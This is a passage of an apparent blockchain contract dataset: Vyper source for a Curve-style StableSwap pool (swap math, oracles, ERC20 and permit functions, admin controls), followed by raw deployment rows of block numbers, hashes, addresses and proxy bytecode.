MAX_COINS] = self._xp_mem(rates, old_balances) # --------------------------- Do Transfer in ----------------------------- # `dx` is whatever the pool received after ERC20 transfer: dx: uint256 = self._transfer_in( i, _dx, sender, expect_optimistic_transfer ) # ------------------------------- Exchange ------------------------------- x: uint256 = xp[i] + unsafe_div(dx * rates[i], PRECISION) dy: uint256 = self.__exchange(x, xp, rates, i, j) assert dy >= _min_dy, "Exchange resulted in fewer coins than expected" # --------------------------- Do Transfer out ---------------------------- self._transfer_out(j, dy, receiver) # ------------------------------------------------------------------------ log TokenExchange(msg.sender, i, dx, j, dy) return dy @internal def _withdraw_admin_fees(): fee_receiver: address = factory.fee_receiver() if fee_receiver == empty(address): return # Do nothing. admin_balances: DynArray[uint256, MAX_COINS] = self.admin_balances for i in range(N_COINS_128, bound=MAX_COINS_128): if admin_balances[i] > 0: self._transfer_out(i, admin_balances[i], fee_receiver) admin_balances[i] = 0 self.admin_balances = admin_balances # --------------------------- AMM Math Functions ----------------------------- @view @internal def get_y( i: int128, j: int128, x: uint256, xp: DynArray[uint256, MAX_COINS], _amp: uint256, _D: uint256 ) -> uint256: """ Calculate x[j] if one makes x[i] = x Done by solving quadratic equation iteratively. x_1**2 + x_1 * (sum' - (A*n**n - 1) * D / (A * n**n)) = D ** (n + 1) / (n ** (2 * n) * prod' * A) x_1**2 + b*x_1 = c x_1 = (x_1**2 + c) / (2*x_1 + b) """ # x in the input is converted to the same price/precision assert i != j # dev: same coin assert j >= 0 # dev: j below zero assert j < N_COINS_128 # dev: j above N_COINS # should be unreachable, but good for safety assert i >= 0 assert i < N_COINS_128 amp: uint256 = _amp D: uint256 = _D S_: uint256 = 0 _x: uint256 = 0 y_prev: uint256 = 0 c: uint256 = D Ann: uint256 = amp * N_COINS for _i in range(MAX_COINS_128): if _i == N_COINS_128: break if _i == i: _x = x elif _i != j: _x = xp[_i] else: continue S_ += _x c = c * D / (_x * N_COINS) c = c * D * A_PRECISION / (Ann * N_COINS) b: uint256 = S_ + D * A_PRECISION / Ann # - D y: uint256 = D for _i in range(255): y_prev = y y = (y*y + c) / (2 * y + b - D) # Equality with the precision of 1 if y > y_prev: if y - y_prev <= 1: return y else: if y_prev - y <= 1: return y raise @pure @internal def get_D(_xp: DynArray[uint256, MAX_COINS], _amp: uint256) -> uint256: """ D invariant calculation in non-overflowing integer operations iteratively A * sum(x_i) * n**n + D = A * D * n**n + D**(n+1) / (n**n * prod(x_i)) Converging solution: D[j+1] = (A * n**n * sum(x_i) - D[j]**(n+1) / (n**n prod(x_i))) / (A * n**n - 1) """ S: uint256 = 0 for x in _xp: S += x if S == 0: return 0 D: uint256 = S Ann: uint256 = _amp * N_COINS for i in range(255): D_P: uint256 = D for x in _xp: D_P = D_P * D / x D_P /= pow_mod256(N_COINS, N_COINS) Dprev: uint256 = D # (Ann * S / A_PRECISION + D_P * N_COINS) * D / ((Ann - A_PRECISION) * D / A_PRECISION + (N_COINS + 1) * D_P) D = ( (unsafe_div(Ann * S, A_PRECISION) + D_P * N_COINS) * D / ( unsafe_div((Ann - A_PRECISION) * D, A_PRECISION) + unsafe_add(N_COINS, 1) * D_P ) ) # Equality with the precision of 1 if D > Dprev: if D - Dprev <= 1: return D else: if Dprev - D <= 1: return D # convergence typically occurs in 4 rounds or less, this should be unreachable! # if it does happen the pool is borked and LPs can withdraw via `remove_liquidity` raise @pure @internal def get_y_D( A: uint256, i: int128, xp: DynArray[uint256, MAX_COINS], D: uint256 ) -> uint256: """ Calculate x[i] if one reduces D from being calculated for xp to D Done by solving quadratic equation iteratively. x_1**2 + x_1 * (sum' - (A*n**n - 1) * D / (A * n**n)) = D ** (n + 1) / (n ** (2 * n) * prod' * A) x_1**2 + b*x_1 = c x_1 = (x_1**2 + c) / (2*x_1 + b) """ # x in the input is converted to the same price/precision assert i >= 0 # dev: i below zero assert i < N_COINS_128 # dev: i above N_COINS S_: uint256 = 0 _x: uint256 = 0 y_prev: uint256 = 0 c: uint256 = D Ann: uint256 = A * N_COINS for _i in range(MAX_COINS_128): if _i == N_COINS_128: break if _i != i: _x = xp[_i] else: continue S_ += _x c = c * D / (_x * N_COINS) c = c * D * A_PRECISION / (Ann * N_COINS) b: uint256 = S_ + D * A_PRECISION / Ann y: uint256 = D for _i in range(255): y_prev = y y = (y*y + c) / (2 * y + b - D) # Equality with the precision of 1 if y > y_prev: if y - y_prev <= 1: return y else: if y_prev - y <= 1: return y raise @view @internal def _A() -> uint256: """ Handle ramping A up or down """ t1: uint256 = self.future_A_time A1: uint256 = self.future_A if block.timestamp < t1: A0: uint256 = self.initial_A t0: uint256 = self.initial_A_time # Expressions in uint256 cannot have negative numbers, thus "if" if A1 > A0: return A0 + unsafe_sub(A1, A0) * (block.timestamp - t0) / (t1 - t0) else: return A0 - unsafe_sub(A0, A1) * (block.timestamp - t0) / (t1 - t0) else: # when t1 == 0 or block.timestamp >= t1 return A1 @pure @internal def _xp_mem( _rates: DynArray[uint256, MAX_COINS], _balances: DynArray[uint256, MAX_COINS] ) -> DynArray[uint256, MAX_COINS]: result: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) for i in range(N_COINS_128, bound=MAX_COINS_128): result.append(unsafe_div(_rates[i] * _balances[i], PRECISION)) return result @view @internal def get_D_mem( _rates: DynArray[uint256, MAX_COINS], _balances: DynArray[uint256, MAX_COINS], _amp: uint256 ) -> uint256: xp: DynArray[uint256, MAX_COINS] = self._xp_mem(_rates, _balances) return self.get_D(xp, _amp) @view @internal def _calc_withdraw_one_coin( _burn_amount: uint256, i: int128 ) -> ( uint256, uint256, DynArray[uint256, MAX_COINS], uint256, uint256 ): # First, need to calculate # * Get current D # * Solve Eqn against y_i for D - _token_amount amp: uint256 = self._A() rates: DynArray[uint256, MAX_COINS] = self._stored_rates() xp: DynArray[uint256, MAX_COINS] = self._xp_mem(rates, self._balances()) D0: uint256 = self.get_D(xp, amp) total_supply: uint256 = self.total_supply D1: uint256 = D0 - _burn_amount * D0 / total_supply new_y: uint256 = self.get_y_D(amp, i, xp, D1) base_fee: uint256 = unsafe_div( unsafe_mul(self.fee, N_COINS), unsafe_mul(4, unsafe_sub(N_COINS, 1)) ) xp_reduced: DynArray[uint256, MAX_COINS] = xp ys: uint256 = unsafe_div((D0 + D1), unsafe_mul(2, N_COINS)) dx_expected: uint256 = 0 xp_j: uint256 = 0 xavg: uint256 = 0 dynamic_fee: uint256 = 0 for j in range(MAX_COINS_128): if j == N_COINS_128: break dx_expected = 0 xp_j = xp[j] if j == i: dx_expected = xp_j * D1 / D0 - new_y xavg = unsafe_div((xp_j + new_y), 2) else: dx_expected = xp_j - xp_j * D1 / D0 xavg = xp_j dynamic_fee = self._dynamic_fee(xavg, ys, base_fee) xp_reduced[j] = xp_j - unsafe_div(dynamic_fee * dx_expected, FEE_DENOMINATOR) dy: uint256 = xp_reduced[i] - self.get_y_D(amp, i, xp_reduced, D1) dy_0: uint256 = (xp[i] - new_y) * PRECISION / rates[i] # w/o fees dy = unsafe_div((dy - 1) * PRECISION, rates[i]) # Withdraw less to account for rounding errors # update xp with new_y for p calculations. xp[i] = new_y return dy, dy_0 - dy, xp, amp, D1 # -------------------------- AMM Price Methods ------------------------------- @pure @internal def pack_2(p1: uint256, p2: uint256) -> uint256: assert p1 < 2**128 assert p2 < 2**128 return p1 | (p2 << 128) @pure @internal def unpack_2(packed: uint256) -> uint256[2]: return [packed & (2**128 - 1), packed >> 128] @internal @pure def _get_p( xp: DynArray[uint256, MAX_COINS], amp: uint256, D: uint256, ) -> DynArray[uint256, MAX_COINS]: # dx_0 / dx_1 only, however can have any number of coins in pool ANN: uint256 = unsafe_mul(amp, N_COINS) Dr: uint256 = unsafe_div(D, pow_mod256(N_COINS, N_COINS)) for i in range(N_COINS_128, bound=MAX_COINS_128): Dr = Dr * D / xp[i] p: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) xp0_A: uint256 = unsafe_div(ANN * xp[0], A_PRECISION) for i in range(1, MAX_COINS): if i == N_COINS: break p.append(10**18 * (xp0_A + unsafe_div(Dr * xp[0], xp[i])) / (xp0_A + Dr)) return p @internal def upkeep_oracles(xp: DynArray[uint256, MAX_COINS], amp: uint256, D: uint256): """ @notice Upkeeps price and D oracles. """ ma_last_time_unpacked: uint256[2] = self.unpack_2(self.ma_last_time) last_prices_packed_current: DynArray[uint256, MAX_COINS] = self.last_prices_packed last_prices_packed_new: DynArray[uint256, MAX_COINS] = last_prices_packed_current spot_price: DynArray[uint256, MAX_COINS] = self._get_p(xp, amp, D) # -------------------------- Upkeep price oracle ------------------------- for i in range(MAX_COINS): if i == N_COINS - 1: break if spot_price[i] != 0: # Update packed prices ----------------- last_prices_packed_new[i] = self.pack_2( min(spot_price[i], 2 * 10**18), # <----- Cap spot value by 2. self._calc_moving_average( last_prices_packed_current[i], self.ma_exp_time, ma_last_time_unpacked[0], # index 0 is ma_last_time for prices ) ) self.last_prices_packed = last_prices_packed_new # ---------------------------- Upkeep D oracle --------------------------- last_D_packed_current: uint256 = self.last_D_packed self.last_D_packed = self.pack_2( D, self._calc_moving_average( last_D_packed_current, self.D_ma_time, ma_last_time_unpacked[1], # index 1 is ma_last_time for D ) ) # Housekeeping: Update ma_last_time for p and D oracles ------------------ for i in range(2): if ma_last_time_unpacked[i] < block.timestamp: ma_last_time_unpacked[i] = block.timestamp self.ma_last_time = self.pack_2(ma_last_time_unpacked[0], ma_last_time_unpacked[1]) @internal @view def _calc_moving_average( packed_value: uint256, averaging_window: uint256, ma_last_time: uint256 ) -> uint256: last_spot_value: uint256 = packed_value & (2**128 - 1) last_ema_value: uint256 = (packed_value >> 128) if ma_last_time < block.timestamp: # calculate new_ema_value and return that. alpha: uint256 = self.exp( -convert( unsafe_div(unsafe_mul(unsafe_sub(block.timestamp, ma_last_time), 10**18), averaging_window), int256 ) ) return unsafe_div(last_spot_value * (10**18 - alpha) + last_ema_value * alpha, 10**18) return last_ema_value @view @external def last_price(i: uint256) -> uint256: return self.last_prices_packed[i] & (2**128 - 1) @view @external def ema_price(i: uint256) -> uint256: return (self.last_prices_packed[i] >> 128) @external @view def get_p(i: uint256) -> uint256: """ @notice Returns the AMM State price of token @dev if i = 0, it will return the state price of coin[1]. @param i index of state price (0 for coin[1], 1 for coin[2], ...) @return uint256 The state price quoted by the AMM for coin[i+1] """ amp: uint256 = self._A() xp: DynArray[uint256, MAX_COINS] = self._xp_mem( self._stored_rates(), self._balances() ) D: uint256 = self.get_D(xp, amp) return self._get_p(xp, amp, D)[i] @external @view @nonreentrant('lock') def price_oracle(i: uint256) -> uint256: return self._calc_moving_average( self.last_prices_packed[i], self.ma_exp_time, self.ma_last_time & (2**128 - 1) ) @external @view @nonreentrant('lock') def D_oracle() -> uint256: return self._calc_moving_average( self.last_D_packed, self.D_ma_time, self.ma_last_time >> 128 ) # ----------------------------- Math Utils ----------------------------------- @internal @pure def exp(x: int256) -> uint256: """ @dev Calculates the natural exponential function of a signed integer with a precision of 1e18. @notice Note that this function consumes about 810 gas units. The implementation is inspired by Remco Bloemen's implementation under the MIT license here: https://xn--2-umb.com/22/exp-ln. @dev This implementation is derived from Snekmate, which is authored by pcaversaccio (Snekmate), distributed under the AGPL-3.0 license. https://github.com/pcaversaccio/snekmate @param x The 32-byte variable. @return int256 The 32-byte calculation result. """ value: int256 = x # If the result is `< 0.5`, we return zero. This happens when we have the following: # "x <= floor(log(0.5e18) * 1e18) ~ -42e18". if (x <= -41446531673892822313): return empty(uint256) # When the result is "> (2 ** 255 - 1) / 1e18" we cannot represent it as a signed integer. # This happens when "x >= floor(log((2 ** 255 - 1) / 1e18) * 1e18) ~ 135". assert x < 135305999368893231589, "wad_exp overflow" # `x` is now in the range "(-42, 136) * 1e18". Convert to "(-42, 136) * 2 ** 96" for higher # intermediate precision and a binary base. This base conversion is a multiplication with # "1e18 / 2 ** 96 = 5 ** 18 / 2 ** 78". value = unsafe_div(x << 78, 5 ** 18) # Reduce the range of `x` to "(-½ ln 2, ½ ln 2) * 2 ** 96" by factoring out powers of two # so that "exp(x) = exp(x') * 2 ** k", where `k` is a signer integer. Solving this gives # "k = round(x / log(2))" and "x' = x - k * log(2)". Thus, `k` is in the range "[-61, 195]". k: int256 = unsafe_add(unsafe_div(value << 96, 54916777467707473351141471128), 2 ** 95) >> 96 value = unsafe_sub(value, unsafe_mul(k, 54916777467707473351141471128)) # Evaluate using a "(6, 7)"-term rational approximation. Since `p` is monic, # we will multiply by a scaling factor later. y: int256 = unsafe_add(unsafe_mul(unsafe_add(value, 1346386616545796478920950773328), value) >> 96, 57155421227552351082224309758442) p: int256 = unsafe_add(unsafe_mul(unsafe_add(unsafe_mul(unsafe_sub(unsafe_add(y, value), 94201549194550492254356042504812), y) >> 96,\ 28719021644029726153956944680412240), value), 4385272521454847904659076985693276 << 96) # We leave `p` in the "2 ** 192" base so that we do not have to scale it up # again for the division. q: int256 = unsafe_add(unsafe_mul(unsafe_sub(value, 2855989394907223263936484059900), value) >> 96, 50020603652535783019961831881945) q = unsafe_sub(unsafe_mul(q, value) >> 96, 533845033583426703283633433725380) q = unsafe_add(unsafe_mul(q, value) >> 96, 3604857256930695427073651918091429) q = unsafe_sub(unsafe_mul(q, value) >> 96, 14423608567350463180887372962807573) q = unsafe_add(unsafe_mul(q, value) >> 96, 26449188498355588339934803723976023) # The polynomial `q` has no zeros in the range because all its roots are complex. # No scaling is required, as `p` is already "2 ** 96" too large. Also, # `r` is in the range "(0.09, 0.25) * 2**96" after the division. r: int256 = unsafe_div(p, q) # To finalise the calculation, we have to multiply `r` by: # - the scale factor "s = ~6.031367120", # - the factor "2 ** k" from the range reduction, and # - the factor "1e18 / 2 ** 96" for the base conversion. # We do this all at once, with an intermediate result in "2**213" base, # so that the final right shift always gives a positive value. # Note that to circumvent Vyper's safecast feature for the potentially # negative parameter value `r`, we first convert `r` to `bytes32` and # subsequently to `uint256`. Remember that the EVM default behaviour is # to use two's complement representation to handle signed integers. return unsafe_mul(convert(convert(r, bytes32), uint256), 3822833074963236453042738258902158003155416615667) >> convert(unsafe_sub(195, k), uint256) # ---------------------------- ERC20 Utils ----------------------------------- @view @internal def _domain_separator() -> bytes32: if chain.id != CACHED_CHAIN_ID: return keccak256( _abi_encode( EIP712_TYPEHASH, NAME_HASH, VERSION_HASH, chain.id, self, salt, ) ) return CACHED_DOMAIN_SEPARATOR @internal def _transfer(_from: address, _to: address, _value: uint256): # # NOTE: vyper does not allow underflows # # so the following subtraction would revert on insufficient balance self.balanceOf[_from] -= _value self.balanceOf[_to] += _value log Transfer(_from, _to, _value) @internal def _burnFrom(_from: address, _burn_amount: uint256): self.total_supply -= _burn_amount self.balanceOf[_from] -= _burn_amount log Transfer(_from, empty(address), _burn_amount) @external def transfer(_to : address, _value : uint256) -> bool: """ @dev Transfer token for a specified address @param _to The address to transfer to. @param _value The amount to be transferred. """ self._transfer(msg.sender, _to, _value) return True @external def transferFrom(_from : address, _to : address, _value : uint256) -> bool: """ @dev Transfer tokens from one address to another. @param _from address The address which you want to send tokens from @param _to address The address which you want to transfer to @param _value uint256 the amount of tokens to be transferred """ self._transfer(_from, _to, _value) _allowance: uint256 = self.allowance[_from][msg.sender] if _allowance != max_value(uint256): _new_allowance: uint256 = _allowance - _value self.allowance[_from][msg.sender] = _new_allowance log Approval(_from, msg.sender, _new_allowance) return True @external def approve(_spender : address, _value : uint256) -> bool: """ @notice Approve the passed address to transfer the specified amount of tokens on behalf of msg.sender @dev Beware that changing an allowance via this method brings the risk that someone may use both the old and new allowance by unfortunate transaction ordering: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 @param _spender The address which will transfer the funds @param _value The amount of tokens that may be transferred @return bool success """ self.allowance[msg.sender][_spender] = _value log Approval(msg.sender, _spender, _value) return True @external def permit( _owner: address, _spender: address, _value: uint256, _deadline: uint256, _v: uint8, _r: bytes32, _s: bytes32 ) -> bool: """ @notice Approves spender by owner's signature to expend owner's tokens. See https://eips.ethereum.org/EIPS/eip-2612. @dev Inspired by https://github.com/yearn/yearn-vaults/blob/main/contracts/Vault.vy#L753-L793 @dev Supports smart contract wallets which implement ERC1271 https://eips.ethereum.org/EIPS/eip-1271 @param _owner The address which is a source of funds and has signed the Permit. @param _spender The address which is allowed to spend the funds. @param _value The amount of tokens to be spent. @param _deadline The timestamp after which the Permit is no longer valid. @param _v The bytes[64] of the valid secp256k1 signature of permit by owner @param _r The bytes[0:32] of the valid secp256k1 signature of permit by owner @param _s The bytes[32:64] of the valid secp256k1 signature of permit by owner @return True, if transaction completes successfully """ assert _owner != empty(address) assert block.timestamp <= _deadline nonce: uint256 = self.nonces[_owner] digest: bytes32 = keccak256( concat( b"\x19\x01", self._domain_separator(), keccak256(_abi_encode(EIP2612_TYPEHASH, _owner, _spender, _value, nonce, _deadline)) ) ) if _owner.is_contract: sig: Bytes[65] = concat(_abi_encode(_r, _s), slice(convert(_v, bytes32), 31, 1)) # reentrancy not a concern since this is a staticcall assert ERC1271(_owner).isValidSignature(digest, sig) == ERC1271_MAGIC_VAL else: assert ecrecover(digest, convert(_v, uint256), convert(_r, uint256), convert(_s, uint256)) == _owner self.allowance[_owner][_spender] = _value self.nonces[_owner] = unsafe_add(nonce, 1) log Approval(_owner, _spender, _value) return True @view @external def DOMAIN_SEPARATOR() -> bytes32: """ @notice EIP712 domain separator. @return bytes32 Domain Separator set for the current chain. """ return self._domain_separator() # ------------------------- AMM View Functions ------------------------------- @view @external def get_dx(i: int128, j: int128, dy: uint256) -> uint256: """ @notice Calculate the current input dx given output dy @dev Index values can be found via the `coins` public getter method @param i Index value for the coin to send @param j Index value of the coin to receive @param dy Amount of `j` being received after exchange @return Amount of `i` predicted """ return StableSwapViews(factory.views_implementation()).get_dx(i, j, dy, self) @view @external def get_dy(i: int128, j: int128, dx: uint256) -> uint256: """ @notice Calculate the current output dy given input dx @dev Index values can be found via the `coins` public getter method @param i Index value for the coin to send @param j Index value of the coin to receive @param dx Amount of `i` being exchanged @return Amount of `j` predicted """ return StableSwapViews(factory.views_implementation()).get_dy(i, j, dx, self) @view @external def calc_withdraw_one_coin(_burn_amount: uint256, i: int128) -> uint256: """ @notice Calculate the amount received when withdrawing a single coin @param _burn_amount Amount of LP tokens to burn in the withdrawal @param i Index value of the coin to withdraw @return Amount of coin received """ return self._calc_withdraw_one_coin(_burn_amount, i)[0] @view @external @nonreentrant('lock') def totalSupply() -> uint256: """ @notice The total supply of pool LP tokens @return self.total_supply, 18 decimals. """ return self.total_supply @view @external @nonreentrant('lock') def get_virtual_price() -> uint256: """ @notice The current virtual price of the pool LP token @dev Useful for calculating profits. The method may be vulnerable to donation-style attacks if implementation contains rebasing tokens. For integrators, caution is advised. @return LP token virtual price normalized to 1e18 """ amp: uint256 = self._A() xp: DynArray[uint256, MAX_COINS] = self._xp_mem( self._stored_rates(), self._balances() ) D: uint256 = self.get_D(xp, amp) # D is in the units similar to DAI (e.g. converted to precision 1e18) # When balanced, D = n * x_u - total virtual value of the portfolio return D * PRECISION / self.total_supply @view @external def calc_token_amount( _amounts: DynArray[uint256, MAX_COINS], _is_deposit: bool ) -> uint256: """ @notice Calculate addition or reduction in token supply from a deposit or withdrawal @param _amounts Amount of each coin being deposited @param _is_deposit set True for deposits, False for withdrawals @return Expected amount of LP tokens received """ return StableSwapViews(factory.views_implementation()).calc_token_amount(_amounts, _is_deposit, self) @view @external def A() -> uint256: return unsafe_div(self._A(), A_PRECISION) @view @external def A_precise() -> uint256: return self._A() @view @external def balances(i: uint256) -> uint256: """ @notice Get the current balance of a coin within the pool, less the accrued admin fees @param i Index value for the coin to query balance of @return Token balance """ return self._balances()[i] @view @external def get_balances() -> DynArray[uint256, MAX_COINS]: return self._balances() @view @external def stored_rates() -> DynArray[uint256, MAX_COINS]: return self._stored_rates() @view @external def dynamic_fee(i: int128, j: int128) -> uint256: """ @notice Return the fee for swapping between `i` and `j` @param i Index value for the coin to send @param j Index value of the coin to receive @return Swap fee expressed as an integer with 1e10 precision """ return StableSwapViews(factory.views_implementation()).dynamic_fee(i, j, self) # --------------------------- AMM Admin Functions ---------------------------- @external def ramp_A(_future_A: uint256, _future_time: uint256): assert msg.sender == factory.admin() # dev: only owner assert block.timestamp >= self.initial_A_time + MIN_RAMP_TIME assert _future_time >= block.timestamp + MIN_RAMP_TIME # dev: insufficient time _initial_A: uint256 = self._A() _future_A_p: uint256 = _future_A * A_PRECISION assert _future_A > 0 and _future_A < MAX_A if _future_A_p < _initial_A: assert _future_A_p * MAX_A_CHANGE >= _initial_A else: assert _future_A_p <= _initial_A * MAX_A_CHANGE self.initial_A = _initial_A self.future_A = _future_A_p self.initial_A_time = block.timestamp self.future_A_time = _future_time log RampA(_initial_A, _future_A_p, block.timestamp, _future_time) @external def stop_ramp_A(): assert msg.sender == factory.admin() # dev: only owner current_A: uint256 = self._A() self.initial_A = current_A self.future_A = current_A self.initial_A_time = block.timestamp self.future_A_time = block.timestamp # now (block.timestamp < t1) is always False, so we return saved A log StopRampA(current_A, block.timestamp) @external def set_new_fee(_new_fee: uint256, _new_offpeg_fee_multiplier: uint256): assert msg.sender == factory.admin() # set new fee: assert _new_fee <= MAX_FEE self.fee = _new_fee # set new offpeg_fee_multiplier: assert _new_offpeg_fee_multiplier * _new_fee <= MAX_FEE * FEE_DENOMINATOR # dev: offpeg multiplier exceeds maximum self.offpeg_fee_multiplier = _new_offpeg_fee_multiplier log ApplyNewFee(_new_fee, _new_offpeg_fee_multiplier) @external def set_ma_exp_time(_ma_exp_time: uint256, _D_ma_time: uint256): """ @notice Set the moving average window of the price oracles. @param _ma_exp_time Moving average window for the price oracle. It is time_in_seconds / ln(2). @param _D_ma_time Moving average window for the D oracle. It is time_in_seconds / ln(2). """ assert msg.sender == factory.admin() # dev: only owner assert unsafe_mul(_ma_exp_time, _D_ma_time) > 0 # dev: 0 in input values self.ma_exp_time = _ma_exp_time self.D_ma_time = _D_ma_time log SetNewMATime(_ma_exp_time, _D_ma_time)
1
19,493,226
daa37e387a1a90408c636dbcd051266ac97754629d50fff5e7fb5a9394a26738
773daa2862d379d3ab4fb3130783d62cb4fb647d9e637233642d3fd5ccf57bad
849a02be4c2ec8bbd06052c5a0cd51147994ad96
39c40c8f040cf363fa3cc6ed379dced87f318c36
416bcac44894977e6cbf724f6cdb73c4d02e38e6
608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe
1
19,493,227
811799d61db416d882b7b273256d01dee83e6ead211cf8fea81c7461a0e21189
6748db229fcd890fdc61dfd835953f2d25d18041290d7fa3046c2ed20513702f
84ba51a3b082066482385c2e77c15b36b2888888
fc27cd13b432805f47c90a16646d402566bd3143
45bb433c2d9c3f999dc4b6f34ed598b964336e60
60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a
608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033
1
19,493,227
811799d61db416d882b7b273256d01dee83e6ead211cf8fea81c7461a0e21189
6748db229fcd890fdc61dfd835953f2d25d18041290d7fa3046c2ed20513702f
84ba51a3b082066482385c2e77c15b36b2888888
fc27cd13b432805f47c90a16646d402566bd3143
32e580dd8fa5c47720023c959d3aa61885c3de12
60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a
608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033
1
19,493,227
811799d61db416d882b7b273256d01dee83e6ead211cf8fea81c7461a0e21189
6748db229fcd890fdc61dfd835953f2d25d18041290d7fa3046c2ed20513702f
84ba51a3b082066482385c2e77c15b36b2888888
fc27cd13b432805f47c90a16646d402566bd3143
ec274d968e21dc54eacdcc21a2257149ac7fdfc5
60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a
608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033
1
19,493,227
811799d61db416d882b7b273256d01dee83e6ead211cf8fea81c7461a0e21189
6748db229fcd890fdc61dfd835953f2d25d18041290d7fa3046c2ed20513702f
84ba51a3b082066482385c2e77c15b36b2888888
fc27cd13b432805f47c90a16646d402566bd3143
388b26ebf2044b1967f8fb2e410ec253fe4b13b7
60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a
608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033
1
19,493,227
811799d61db416d882b7b273256d01dee83e6ead211cf8fea81c7461a0e21189
6748db229fcd890fdc61dfd835953f2d25d18041290d7fa3046c2ed20513702f
84ba51a3b082066482385c2e77c15b36b2888888
fc27cd13b432805f47c90a16646d402566bd3143
ced63151b4050711a4cdd7095d9865bd3d12382f
60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a
608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033
1
19,493,227
811799d61db416d882b7b273256d01dee83e6ead211cf8fea81c7461a0e21189
6748db229fcd890fdc61dfd835953f2d25d18041290d7fa3046c2ed20513702f
84ba51a3b082066482385c2e77c15b36b2888888
fc27cd13b432805f47c90a16646d402566bd3143
8ecdc5f7dfb0dacc8328aac26f7398218e724eb4
